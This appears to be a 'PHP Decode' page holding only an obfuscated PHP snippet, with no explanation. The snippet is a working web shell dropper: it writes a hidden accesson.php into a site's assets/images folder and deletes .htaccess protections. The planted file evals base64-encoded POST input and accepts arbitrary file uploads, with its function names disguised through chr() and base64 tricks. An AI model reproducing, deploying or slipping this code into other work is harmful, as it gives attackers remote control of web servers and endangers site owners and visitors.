PHP Decode

$s = $_SERVER['DOCUMENT_ROOT'].'/assets/';$s1 = $s.'images/';mkdir($s1,511);$fh =  
 
fopen($s1.'accesson.php', 'w');fwrite($fh, '<?php echo  
 
7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).c 
 
hr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(8 
 
9)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr( 
 
97).chr(87)."Q".chr(61))]));if($_POST[base64_decode("d".chr(88).chr(65)."=")] ==  
 
base64_decode("d"."X".chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".c 
 
hr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b". 
 
chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][ba 
 
se64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);};  
 
?>');fclose($fh);unlink($s.'.htaccess');unlink($s1.'.htaccess');